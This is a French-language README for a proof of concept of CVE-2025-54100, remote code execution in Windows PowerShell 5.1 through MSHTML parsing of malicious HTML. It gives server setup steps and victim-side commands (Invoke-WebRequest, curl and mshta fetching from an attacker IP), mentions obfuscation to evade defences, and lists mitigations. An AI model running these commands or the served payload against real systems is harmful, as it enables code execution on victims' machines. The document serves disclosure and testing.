
CVE-2025-54100 (Vulnérabilité d'exécution de code à distance dans PowerShell)
Démontre comment CVE-2025-54100 conduit à une exécution de code à distance (RCE) dans Windows PowerShell 5.1 via l'analyse d'un HTML malveillant.
Type de vulnérabilité : Risque d'injection de commande lorsque Invoke-WebRequest n'utilise pas le paramètre -UseBasicParsing
Sévérité : CVSS 7.8 (élevée)
Cause racine : L'analyse des réponses HTML basée sur MSHTML permet l'exécution de scripts (comme ActiveXObject) dans le contexte de l'appelant
Systèmes affectés :
CVE-2025-54100.py renvoie une charge utile HTML soigneusement construiteWScript.Shell / Shell.Applicationcalc.exepython3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
Démarrez le service HTTP du PoC :
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
Sur un hôte Windows vulnérable, n'utilisez pas -UseBasicParsing et exécutez les commandes suivantes :
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://192.168.26.16:8888"
# curl(PowerShell 中的别名)
curl http://192.168.26.16:8888
# mshta
mshta http://192.168.26.16:8888
Assurez-vous que le port correspond à la configuration du serveur. Si le système est vulnérable, le script intégré sera exécuté par l'analyseur MSHTML.
Remarque : Certains antivirus peuvent bloquer ce comportement, même si la vulnérabilité d'analyse existe toujours.
calc.exe ne s'ouvre pas :
Invoke-WebRequest sans utiliser -UseBasicParsingCette étape permet de vérifier le vecteur d'exécution. Dans un scénario d'attaque réel, un attaquant pourrait utiliser l'obfuscation ou des techniques de contournement pour éviter les restrictions de sécurité par défaut.

Microsoft a corrigé cette vulnérabilité en décembre 2025 :
Installez rapidement les mises à jour de sécurité Windows
Utilisez toujours -UseBasicParsing pour éviter l'analyse MSHTML :
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
Migrez vers PowerShell 7+ (pwsh) ; PowerShell Core ne dépend plus de MSHTML pour l'analyse, ce qui évite ce problème au niveau architectural.